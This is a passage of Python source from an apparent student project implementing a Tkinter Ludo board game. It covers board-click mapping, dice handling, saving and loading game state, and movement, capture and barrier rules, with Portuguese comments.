i) * 40, -1):\r\n return i + 12\r\n\r\n for i in range(6): # pos 18 - 23\r\n if y in range(8 * H // 15, 9 * H // 15):\r\n if x in range(240 - i * 40, (5 - i) * 40, -1):\r\n return i + 18\r\n\r\n # pos 24\r\n if x in range(0, W // 15) and y in range(7 * H // 15, 8 * H // 15):\r\n return 24\r\n\r\n for i in range(6): # pos 25 - 30\r\n if y in range(6 * H // 15, 7 * H // 15):\r\n if x in range(i * 40, (i + 1) * 40, 1):\r\n return i + 25\r\n\r\n for i in range(6): # pos 31 - 36\r\n if x in range(6 * W // 15, 7 * W // 15):\r\n if y in range(240 - i * 40, 240 - (1 + i) * 40, -1):\r\n return i + 31\r\n\r\n # pos 37\r\n if x in range(7 * W // 15, 8 * W // 15) and y in range(0, H // 15):\r\n return 37\r\n\r\n for i in range(6): # pos 38 - 43\r\n if x in range(8 * W // 15, 9 * W // 15):\r\n if y in range(i * 40, (i + 1) * 40, 1):\r\n return i + 38\r\n\r\n for i in range(6): # pos 44 - 49\r\n if y in range(6 * W // 15, 7 * W // 15):\r\n if x in range(360 + i * 40, 360 + (i + 1) * 40, 1):\r\n return i + 44\r\n\r\n # pos 50\r\n if x in range(14 * W // 15, W) and y in range(7 * H // 15, 8 * H // 15):\r\n return 50\r\n\r\n # pos 51\r\n if x in range(14 * W // 15, W) and y in range(8 * H // 15, 9 * H // 15):\r\n return 51\r\n\r\n # MAPEAMENTO DO\r\n # CAMINHO PRINCIPAL TERMINA AQUI\r\n\r\n for i in range(5): # pos na reta final vermelha i = 0,1,2,3,4\r\n if y in range(7 * H // 15, 8 * H // 15):\r\n if x in range(14 * W // 15 - i * W // 15, 9 * W // 15 + (4 - i) * W // 15, -1):\r\n return (i + 990, -1)\r\n\r\n for i in range(5): # pos na reta final verde i = 0,1,2,3,4\r\n if x in range(7 * W // 15, 8 * W // 15):\r\n if y in range(560 - i * 40, 360 + (4 - i) * 40, -1):\r\n return (i + 990, -2)\r\n\r\n for i in range(5): # pos na reta final amarela i = 0,1,2,3,4\r\n if y in range(7 * H // 15, 8 * H // 15):\r\n if x in range(W // 15 + i * W // 15, 6 * W // 15 - (4 - i) * W // 15, 1):\r\n return (i + 990, -3)\r\n\r\n for i in range(5): # pos na reta final azul i = 0,1,2,3,4\r\n if x in range(7 * W // 15, 8 * W // 15):\r\n if y in range(40 + i * 40, 80 + i * 40, 1):\r\n return (i + 990, -4)\r\n\r\n return None\r\n\r\n\r\ndef click_joga_dado(canvas_ops, canvas_tabuleiro, houve_captura=False, peca_chegou_na_casa_final=False):\r\n global vez, my_canvas, dado, seis_count, dado_button, esperando_jogada\r\n\r\n dado_button = draw_canvas.get_dado_button()\r\n salvar_jogo_button = draw_canvas.get_salvar_jogo_button()\r\n canvas_move_peca = draw_canvas.get_canvas()\r\n root_move_peca = draw_canvas.get_root()\r\n\r\n dado = game_rules.joga_dado()\r\n\r\n # BLOQUEIA O BOTÃO DE LANÇAR O DADO ATE MEXER UMA PEÇA\r\n vez = game_rules.get_vez()\r\n if game_rules.tem_pecas_no_tabuleiro(vez):\r\n dado_button[\"state\"] = DISABLED\r\n salvar_jogo_button[\"state\"] = DISABLED\r\n\r\n vez = game_rules.get_vez()\r\n\r\n # desenha cor de fundo do dado\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n\r\n dado = game_rules.joga_dado()\r\n\r\n # se houve captura a pessoa joga de novo com 6 no dado\r\n if houve_captura == True or peca_chegou_na_casa_final == True:\r\n dado = 6\r\n houve_captura == False\r\n game_rules.muda_houve_captura_para_falso()\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n if dado != 5:\r\n esperando_jogada = True\r\n\r\n label_img = Label()\r\n label_img.config(image='')\r\n\r\n if dado == 1:\r\n label_img.image = PhotoImage(file=\"dado_1.png\")\r\n elif dado == 2:\r\n label_img.image = PhotoImage(file=\"dado_2.png\")\r\n elif dado == 3:\r\n label_img.image = PhotoImage(file=\"dado_3.png\")\r\n elif dado == 4:\r\n label_img.image = PhotoImage(file=\"dado_4.png\")\r\n elif dado == 5:\r\n label_img.image = PhotoImage(file=\"dado_5.png\")\r\n else:\r\n label_img.image = PhotoImage(file=\"dado_6.png\")\r\n\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n\r\n # se tirou 6 no dado\r\n seis_count = game_rules.get_seis_count()\r\n if dado == 6:\r\n if seis_count < 3:\r\n seis_count += 1\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n else:\r\n game_rules.seis_tres_vezes_seguidas()\r\n vez = game_rules.vez_do_proximo()\r\n draw_canvas.limpa_tabuleiro(canvas_move_peca, root_move_peca)\r\n draw_canvas.desenha(canvas_move_peca, root_move_peca)\r\n\r\n # se dado for 5 mover peca pra casa de saida\r\n if dado == 5:\r\n # pode mover para casa de saida\r\n if game_rules.pode_mover_casa_saida(vez) == True:\r\n game_rules.tirou_5_no_dado(vez)\r\n vez = game_rules.vez_do_proximo()\r\n\r\n root_move_peca = draw_canvas.get_root()\r\n\r\n dado_button[\"state\"] = NORMAL # ativo o botao do dado novamente\r\n\r\n draw_canvas.desenha(canvas_tabuleiro, root_move_peca)\r\n\r\n # nao pode mover para casa de saída e nao tem peca no tabuleiro\r\n elif game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n\r\n # nao pode mover para casa de saída, mas tem peça no tabuleiro\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n # TIROU UM NUMERO DIFERENTE DE 5 E NÃO TEM PEÇAS NO TABULEIRO PARA MOVER\r\n elif game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_1(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, dado\r\n vez = game_rules.get_vez()\r\n # desenha cor de fundo do dado\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 1\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_1.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n if game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_2(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, dado\r\n vez = game_rules.get_vez()\r\n # desenha cor de fundo do dado\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 2\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_2.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n if game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_3(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, dado\r\n vez = game_rules.get_vez()\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 3\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_3.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n if game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_4(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, dado\r\n vez = game_rules.get_vez()\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 4\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_4.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n if game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_5(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, root_move_peca, dado\r\n vez = game_rules.get_vez()\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 5\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_5.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n\r\n if dado == 5:\r\n if game_rules.pode_mover_casa_saida(vez) == True:\r\n game_rules.tirou_5_no_dado(vez)\r\n vez = game_rules.vez_do_proximo()\r\n canvas_tabuleiro = draw_canvas.get_canvas()\r\n root_move_peca = draw_canvas.get_root()\r\n draw_canvas.desenha(canvas_tabuleiro, root_move_peca)\r\n # nao pode mover para casa de saída e nao tem peca no tabuleiro\r\n # elif game_rules_certo_tlvz.tem_pecas_na_casaInicial(vez) == False:\r\n elif game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n # nao pode mover para casa de saída, mas tem peça no tabuleiro\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n elif game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef dado_vale_6(canvas_ops, canvas_tabuleiro):\r\n global vez, my_canvas, dado\r\n vez = game_rules.get_vez()\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n canvas_ops.create_rectangle(150, 80, 240, 160, fill=cores_peca[vez])\r\n dado = 6\r\n label_img = Label()\r\n label_img.config(image='')\r\n label_img.image = PhotoImage(file=\"dado_6.png\")\r\n a = label_img.image\r\n label_img.config(image=\"\")\r\n label_img.image = a\r\n canvas_ops.create_image(180, 100, image=label_img.image, anchor=NW)\r\n\r\n seis_count = game_rules.get_seis_count()\r\n if seis_count < 3:\r\n game_rules.muda_6_count()\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n else:\r\n game_rules.seis_tres_vezes_seguidas()\r\n vez = game_rules.vez_do_proximo()\r\n draw_canvas.limpa_tabuleiro(canvas_move_peca, root_move_peca)\r\n draw_canvas.desenha(canvas_move_peca, root_move_peca)\r\n\r\n if game_rules.tem_pecas_no_tabuleiro(vez) == False:\r\n vez = game_rules.vez_do_proximo()\r\n\r\n else:\r\n canvas_tabuleiro.bind(\"<Button-1>\", clica)\r\n\r\n\r\ndef carrega_arquivo():\r\n input = filedialog.askopenfile(initialdir=\".\", title=\"Abrir arquivo\",\r\n filetype=[('Text files', '*.txt'), ('All files', '.*')])\r\n lista_variaveis_globais = []\r\n if input: # esse if eh para não dar erro caso o usuario cancele a operação\r\n for linha in input:\r\n lista_variaveis_globais.append(linha.strip())\r\n lista_variaveis_globais[0] = int(\r\n lista_variaveis_globais[0]) # convertendo a linha pra int, ja que ela contem a vez\r\n\r\n i = 1\r\n for var in lista_variaveis_globais[1:]:\r\n lista_variaveis_globais[i] = ast.literal_eval(var) # literal_eval converte string de lista para lista\r\n i += 1\r\n\r\n canvas = draw_canvas.get_canvas()\r\n root = draw_canvas.get_root()\r\n game_rules.novo_jogo()\r\n draw_canvas.limpa_tabuleiro(canvas, root)\r\n game_rules.atualiza_vars(lista_variaveis_globais)\r\n canvas = draw_canvas.get_canvas()\r\n root = draw_canvas.get_root()\r\n draw_canvas.desenha(canvas, root)\r\n\r\n\r\ndef salva_arquivo():\r\n data = [('Text files', '*.txt'), ('All files', '.*')]\r\n # file_path tem o caminho do diretorio q vai salvar\r\n file_name = asksaveasfilename()\r\n if file_name:\r\n complete_file_path = file_name + '.txt'\r\n\r\n arq = open(complete_file_path, 'w')\r\n arq.write(\"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\"\r\n % (game_rules.get_vez(),\r\n game_rules.get_casas_inicais(),\r\n game_rules.get_caminhos_coloridos(),\r\n game_rules.get_caminho_principal(),\r\n game_rules.get_caminho_principal_bar(),\r\n game_rules.get_caminho_principal_abrigo(),\r\n game_rules.get_caminho_vermelho(),\r\n game_rules.get_caminho_verde(),\r\n game_rules.get_caminho_amarelo(),\r\n game_rules.get_caminho_azul()\r\n ))\r\n\r\n\r\ndef click_novo_jogo():\r\n canvas = draw_canvas.get_canvas()\r\n root = draw_canvas.get_root()\r\n game_rules.novo_jogo()\r\n draw_canvas.limpa_tabuleiro(canvas, root)\r\n" }, { "alpha_fraction": 0.6004869937896729, "alphanum_fraction": 0.6231383681297302, "avg_line_length": 37.68314743041992, "blob_id": "69fbd2bfbad5d664bf5dc8bed1207595b6bb028b", "content_id": "3a58a34d30b25447079bd17ea509230e375abd63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17692, "license_type": "no_license", "max_line_length": 332, "num_lines": 445, "path": "/INF1301-Programacao-Modular/model/game_rules.py", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "from random import randint\r\n\r\n\r\ndef novo_jogo():\r\n global caminho_azul, caminho_verde, caminho_vermelho, caminho_amarelo, caminho_principal, casas_iniciais, vez, abrigos_posicoes, casas_saida, seis_count, ultimo_movimento, inicio_reta_final, caminho_principal_bar, caminho_principal_abrigo, caminhos_coloridos, houve_captura_na_jogada, chegou_peca_na_casa_final, ultimo_movimento\r\n\r\n vez = -1 # 1o turno começa com vermelho jogando o dado, se der 6, continua, se não próximo jogador joga o dado\r\n\r\n inicio_reta_final = [37, 24, 11, 50]\r\n\r\n abrigos_posicoes = [9, 22, 35, 48]\r\n\r\n casas_iniciais = [\r\n [-1, -1, -1, -1], # vermelho\r\n [-2, -2, -2, -2], # verde\r\n [-3, -3, -3, -3], # amarelo\r\n [-4, -4, -4, -4] # azul\r\n ]\r\n\r\n casas_saida = [0, 13, 26, 39]\r\n\r\n seis_count = 1\r\n\r\n ultimo_movimento = [0, 0] # indica posicao aonde caiu a peca do ultimo movimento,\r\n\r\n # último elemento dessas listas representam o quadrado final do jogo,\r\n # para verificar vitória, basta verificar se no último elemento tem 4 peças\r\n # 1o elemento eh a casa anterior as coloridas\r\n caminho_vermelho = [0, 0, 0, 0, 0, []]\r\n caminho_verde = [0, 0, 0, 0, 0, []]\r\n caminho_amarelo = [0, 0, 0, 0, 0, []]\r\n caminho_azul = [0, 0, 0, 0, 0, []]\r\n\r\n caminho_final_bar = []\r\n\r\n # uso isso para verificar a vitória\r\n caminhos_coloridos = [caminho_vermelho, caminho_verde, caminho_amarelo, caminho_azul]\r\n\r\n # caminho possui 52 quadrados\r\n caminho_principal = [0, 0, 0, 0, 0, 0, 0, 0, 0, -100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -100, 0,\r\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\r\n 0, 0, -100, 0, 0, 0]\r\n\r\n caminho_principal_bar = []\r\n\r\n caminho_principal_abrigo = [[[0, 0], 9], [[0, 0], 22], [[0, 0], 35], [[0, 0], 48]]\r\n\r\n seis_count = 0\r\n\r\n houve_captura_na_jogada = False\r\n\r\n chegou_peca_na_casa_final = False\r\n\r\n\r\ndef get_caminho_vermelho():\r\n global caminho_vermelho\r\n return caminho_vermelho\r\n\r\n\r\ndef get_caminho_verde():\r\n global caminho_verde\r\n return caminho_verde\r\n\r\n\r\ndef get_caminho_amarelo():\r\n global caminho_amarelo\r\n return caminho_amarelo\r\n\r\n\r\ndef get_caminho_azul():\r\n global caminho_azul\r\n return caminho_azul\r\n\r\n\r\ndef get_caminho_principal():\r\n global caminho_principal\r\n return caminho_principal\r\n\r\n\r\ndef get_seis_count():\r\n global seis_count\r\n return seis_count\r\n\r\n\r\ndef get_casas_inicais():\r\n global casas_iniciais\r\n return casas_iniciais\r\n\r\n\r\ndef get_caminhos_coloridos():\r\n global caminhos_coloridos\r\n return caminhos_coloridos\r\n\r\n\r\ndef get_caminho_principal_abrigo():\r\n global caminho_principal_abrigo\r\n return caminho_principal_abrigo\r\n\r\n\r\ndef get_caminho_principal_bar():\r\n global caminho_principal_bar\r\n return caminho_principal_bar\r\n\r\n\r\ndef atualiza_vars(list_vars_global):\r\n # essa funcao muda as variaveis quando carrega um jogo\r\n global vez, casas_iniciais, caminhos_coloridos, caminho_principal, caminho_principal_bar, caminho_principal_abrigo, caminho_azul, caminho_verde, caminho_vermelho, caminho_amarelo\r\n\r\n vez = list_vars_global[0]\r\n casas_iniciais = list_vars_global[1]\r\n caminho_principal = list_vars_global[3]\r\n caminho_principal_bar = list_vars_global[4]\r\n caminho_principal_abrigo = list_vars_global[5]\r\n caminho_vermelho = list_vars_global[6]\r\n caminho_verde = list_vars_global[7]\r\n caminho_amarelo = list_vars_global[8]\r\n caminho_azul = list_vars_global[9]\r\n caminhos_coloridos = [caminho_vermelho, caminho_verde, caminho_amarelo, caminho_azul]\r\n\r\n\r\ndef get_vez():\r\n global vez\r\n return vez\r\n\r\n\r\ndef joga_dado():\r\n return randint(1, 6)\r\n\r\n\r\ndef pode_mover_casa_saida(vez):\r\n global caminho_principal, casas_iniciais\r\n # verifica casa de saida\r\n if caminho_principal[casas_saida[abs(vez) - 1]] == vez:\r\n return False\r\n # verifica se tem peca na casa inicial\r\n for i, peca in enumerate(casas_iniciais[abs(vez) - 1]):\r\n if peca < 0:\r\n break\r\n if i == 3:\r\n return False\r\n return True\r\n\r\n\r\ndef move_peca_casa_saida_1a_jogada(vez):\r\n global casas_iniciais, casas_saida, caminho_principal\r\n # caso ja tenha peca da mesma cor na casa de saida, nao sair com peca nova\r\n if caminho_principal[casas_saida[abs(vez) - 1]] == vez:\r\n return \"NA CASA DE SAIDA TEM UMA PECA DA MESMA COR! NADA ACONTECE!\"\r\n\r\n # botando a 1a peca encontrada na casa inicial na casa de saida de sua cor [50, 24, -1, -1]\r\n for index, peca in enumerate(casas_iniciais[abs(vez) - 1]):\r\n if peca == vez:\r\n casas_iniciais[abs(vez) - 1][index] = casas_saida[abs(vez) - 1]\r\n break\r\n # botando a peca no caminho principal\r\n caminho_principal[casas_saida[abs(vez) - 1]] = vez\r\n\r\n\r\ndef tirou_5_no_dado(vez):\r\n move_peca_casa_saida_1a_jogada(vez)\r\n\r\n\r\ndef tem_pecas_no_tabuleiro(vez):\r\n # True se tem pecas da cor no tabuleiro, False se não\r\n global casas_iniciais\r\n for peca in casas_iniciais[abs(vez) - 1]:\r\n if peca >= 0 and peca != -100:\r\n return True\r\n return False\r\n\r\n\r\ndef muda_6_count():\r\n global seis_count\r\n seis_count += 1\r\n\r\n\r\ndef tirou_6_no_dado(vez, dado, pos_atual):\r\n # O jogador que obtiver um 6 poderá jogar o dado outra vez, após movimentar um de\r\n # seus peões. Se obtiver novamente 6, poderá realizar novo lançamento, após\r\n # movimentar um de seus peões. Se obtiver um 6 pela terceira vez consecutiva, o último\r\n # de seus peões que foi movimentado voltará para a casa inicial.\r\n global seis_count\r\n if dado == 6:\r\n seis_count += 1\r\n if seis_count != 3:\r\n move_peca(vez, dado, pos_atual)\r\n else:\r\n seis_tres_vezes_seguidas()\r\n seis_count = 0\r\n\r\n\r\ndef seis_tres_vezes_seguidas():\r\n global ultimo_movimento, caminho_principal, casas_iniciais\r\n pos = ultimo_movimento[0]\r\n vez = ultimo_movimento[1]\r\n caminho_principal[pos] = 0 # zerando posicao da peca que vai voltar pra casa inicial\r\n\r\n index_peca_pra_mudar_casa_incial = busca(casas_iniciais[abs(vez) - 1], pos)\r\n\r\n casas_iniciais[abs(vez) - 1][index_peca_pra_mudar_casa_incial] = vez # botando a peca em sua casa de inicial\r\n\r\n\r\ndef move_peca(vez, dado, pos_atual_caminho_principal=None, pos_atual_reta_final=None):\r\n global caminho_azul, caminho_verde, caminho_vermelho, caminho_amarelo, caminho_principal, ultimo_movimento, casas_iniciais, inicio_reta_final, caminho_final_bar, caminho_principal_bar, abrigos_posicoes, caminho_principal_abrigo, chegou_peca_na_casa_final\r\n\r\n # determina posicao_da_captura da peca na sua lista de casa inicial\r\n if pos_atual_caminho_principal != None:\r\n indice_peca_casa_inicial = busca(casas_iniciais[abs(vez) - 1], pos_atual_caminho_principal)\r\n else:\r\n indice_peca_casa_inicial = busca(casas_iniciais[abs(vez) - 1], pos_atual_reta_final)\r\n\r\n # definindo caminho final para peça\r\n if vez == -1:\r\n caminho_final = caminho_azul\r\n elif vez == -2:\r\n caminho_final = caminho_vermelho\r\n elif vez == -3:\r\n caminho_final = caminho_verde\r\n elif vez == -4:\r\n caminho_final = caminho_amarelo\r\n\r\n # peca esta na reta final?\r\n # ESSA PARTE DO CODIGO LIDA APENAS COM O MOVIMENTO DE PEÇAS DENTRO DE SUA RETA FINAL\r\n if pos_atual_reta_final != None:\r\n pos_nova_dentro_reta_final = pos_atual_reta_final + dado\r\n if pos_nova_dentro_reta_final == 995: # chegou na casa final\r\n caminho_final[-1].append(vez)\r\n casas_iniciais[abs(vez) - 1][indice_peca_casa_inicial] = 995\r\n caminho_final[pos_atual_reta_final - 990] = 0\r\n chegou_peca_na_casa_final = True\r\n else:\r\n return\r\n\r\n if pos_atual_caminho_principal == None:\r\n return\r\n\r\n pos_nova = pos_atual_caminho_principal + dado\r\n\r\n ultimo_movimento[0] = pos_nova\r\n ultimo_movimento[1] = vez\r\n\r\n entrou_na_reta_final = False # vai ser usada para atualizar as casas_inciais\r\n\r\n # tem barreira no caminho? e entra na reta final?\r\n for posicao in range(pos_atual_caminho_principal + 1, pos_nova + 1): # (8 + 1, 14) => 9,10,11,12,13,14\r\n # barreira\r\n for lista in caminho_principal_bar:\r\n if posicao == lista[-1]: # tem barreira no caminho, logo acaba a jogada\r\n return\r\n\r\n # reta final\r\n if posicao == inicio_reta_final[vez] + 1: # inicio_reta_final = [37, 24, 11, 50]\r\n entrou_na_reta_final = True\r\n distancia_inicio_reta_final = inicio_reta_final[vez] - pos_atual_caminho_principal\r\n posicao_dentro_reta_final = dado - distancia_inicio_reta_final\r\n if posicao_dentro_reta_final == 6: # peca vai ganhar agora\r\n caminho_final[-1].append(vez)\r\n casas_iniciais[abs(vez) - 1][indice_peca_casa_inicial] = 995\r\n caminho_principal[pos_atual_caminho_principal] = 0\r\n return\r\n else:\r\n caminho_final[posicao_dentro_reta_final - 1] = vez\r\n casas_iniciais[abs(vez) - 1][\r\n indice_peca_casa_inicial] = 990 + posicao_dentro_reta_final - 1 # 999 indica que entrou na reta final\r\n\r\n # caso de a volta no tabuleiro (passe da posicao_da_captura 51 para a 0)\r\n if pos_nova > 51:\r\n pos_nova = pos_atual_caminho_principal + dado - 52\r\n # Verificando barreira no caminho\r\n for posicao_ate_51 in range(pos_atual_caminho_principal, 52):\r\n for lista in caminho_principal_bar:\r\n if posicao == lista[-1]: # tem barreira no caminho, logo acaba a jogada\r\n return\r\n\r\n for posicao_de_0_ate_pos_nova in range(0, pos_nova + 1):\r\n for lista in caminho_principal_bar:\r\n if posicao == lista[-1]: # tem barreira no caminho, logo acaba a jogada\r\n return\r\n\r\n # movendo a peca\r\n # verificando se tem peca na posicao_da_captura nova\r\n # da mesma cor\r\n if caminho_principal[pos_nova] != 0:\r\n if caminho_principal[pos_nova] == vez:\r\n # cria barreira, caminho principal fica igual, mas o caminho_principal_bar muda, EX: [[-1, 42]]\r\n lista_com_vez_e_posicao_da_barreira = [vez, pos_nova]\r\n caminho_principal_bar.append(lista_com_vez_e_posicao_da_barreira)\r\n\r\n # verificando se eh abrigo # caminho_principal_abrigo = [[[0, 0], 9],[[0, 0], 22],[[0, 0], 35],[[0, 0], 48]]\r\n # CRIANDO ABRIGO - caminho principal fica com 0 na posicao e atualizo caminho_principal_abrigo\r\n elif pos_nova in abrigos_posicoes:\r\n peca_que_ja_estava_no_abrigo = caminho_principal[pos_nova]\r\n lista_com_peca_a_ser_colocada_e_peca_que_ja_estava_no_abrigo = [peca_que_ja_estava_no_abrigo, vez]\r\n caminho_principal[pos_nova] = 0 # botando 0 no caminho principal\r\n\r\n # atualizando caminho_principal_abrigo\r\n if pos_nova == 9:\r\n caminho_principal_abrigo[0][0] = lista_com_peca_a_ser_colocada_e_peca_que_ja_estava_no_abrigo\r\n elif pos_nova == 22:\r\n caminho_principal_abrigo[1][0] = lista_com_peca_a_ser_colocada_e_peca_que_ja_estava_no_abrigo\r\n elif pos_nova == 35:\r\n caminho_principal_abrigo[2][0] = lista_com_peca_a_ser_colocada_e_peca_que_ja_estava_no_abrigo\r\n else:\r\n caminho_principal_abrigo[3][0] = lista_com_peca_a_ser_colocada_e_peca_que_ja_estava_no_abrigo\r\n\r\n # tem peca de outra cor, vou capturar\r\n else:\r\n captura(vez,\r\n pos_nova) # captura vai trocar o valor da peca na posicao_da_captura nova, e mudar o valor da casa inical da peca capturada\r\n\r\n casas_iniciais[abs(vez) - 1][indice_peca_casa_inicial] = pos_nova\r\n\r\n # posicao_da_captura nova esta VAZIA e a peça NÃO ENTROU no reta final\r\n if caminho_principal[pos_nova] == 0 and entrou_na_reta_final == False:\r\n caminho_principal[pos_nova] = vez\r\n casas_iniciais[abs(vez) - 1][indice_peca_casa_inicial] = pos_nova\r\n\r\n # posicao_da_captura nova esta VAZIA e a peça ENTROU no reta final\r\n elif caminho_principal[pos_nova] == 0 and entrou_na_reta_final == True:\r\n caminho_principal[pos_nova] = 0\r\n\r\n # MUDANCA NA POS_ATUAL\r\n # Se pos_atual_caminho_principal for uma barreira: manter caminho_principal igual, e apagar sub-lista que representa a barreira do caminho_principal_bar\r\n # caminho_principal_bar -> EX: [[-1, 42], [-4, 34], [-2, 0]]\r\n pos_barreiras = [] # EX: [42, 34, 0]\r\n for lista_barreira in caminho_principal_bar:\r\n pos_barreiras.append(lista_barreira[-1])\r\n if pos_atual_caminho_principal == lista_barreira[-1]:\r\n caminho_principal_bar.remove(lista_barreira)\r\n\r\n # verificando se posicao_da_captura atual da peça possui BARREIRA\r\n if pos_atual_caminho_principal not in pos_barreiras:\r\n caminho_principal[pos_atual_caminho_principal] = 0\r\n\r\n # verificando se posicao_da_captura atual da peça possui ABRIGO\r\n # LIBERANDO UM ABRIGO\r\n if pos_atual_caminho_principal in abrigos_posicoes: # abrigos_posicoes = [9, 22, 35, 48]\r\n # vendo qual eh o indice da peca da vez na lista caminho_principal_abrigo, e botando 0 nessa posição\r\n if pos_atual_caminho_principal == 9:\r\n index_peca_da_vez_no_abrigo = busca(caminho_principal_abrigo[0][0], vez)\r\n caminho_principal_abrigo[0][0][index_peca_da_vez_no_abrigo] = 0\r\n elif pos_atual_caminho_principal == 22:\r\n index_peca_da_vez_no_abrigo = busca(caminho_principal_abrigo[1][0], vez)\r\n caminho_principal_abrigo[1][0][index_peca_da_vez_no_abrigo] = 0\r\n elif pos_atual_caminho_principal == 35:\r\n index_peca_da_vez_no_abrigo = busca(caminho_principal_abrigo[2][0], vez)\r\n caminho_principal_abrigo[2][0][index_peca_da_vez_no_abrigo] = 0\r\n else:\r\n index_peca_da_vez_no_abrigo = busca(caminho_principal_abrigo[3][0], vez)\r\n caminho_principal_abrigo[3][0][index_peca_da_vez_no_abrigo] = 0\r\n\r\n # ABRIGOS TAVAM COM -100 DENTRO, ISSO AQUI CONCERTA\r\n for abrigo_informacoes in caminho_principal_abrigo:\r\n for index, pecas in enumerate(abrigo_informacoes[0]):\r\n if pecas == -100:\r\n abrigo_informacoes[0][index] = 0\r\n\r\n\r\ndef captura(vez_da_peca_que_captura, posicao_da_captura):\r\n global caminho_principal, casas_iniciais, houve_captura_na_jogada\r\n\r\n houve_captura_na_jogada = True\r\n\r\n # movendo a peca pra casa nova\r\n peca_capturada = caminho_principal[posicao_da_captura]\r\n caminho_principal[posicao_da_captura] = vez_da_peca_que_captura\r\n\r\n # buscando qual o index_da_casa_inicial_da_peca_capturada\r\n index_da_casa_inicial_da_peca_capturada = busca(casas_iniciais[abs(peca_capturada) - 1], posicao_da_captura)\r\n\r\n # voltando peca capturada para a casa inicial de sua cor\r\n casas_iniciais[abs(peca_capturada) - 1][index_da_casa_inicial_da_peca_capturada] = peca_capturada\r\n\r\n\r\ndef get_houve_captura_na_jogada():\r\n global houve_captura_na_jogada\r\n return houve_captura_na_jogada\r\n\r\n\r\ndef muda_houve_captura_para_falso():\r\n global houve_captura_na_jogada, peca_chegou_na_casa_final\r\n houve_captura_na_jogada = False\r\n peca_chegou_na_casa_final = False\r\n\r\n\r\ndef get_chegou_peca_na_casa_final():\r\n global 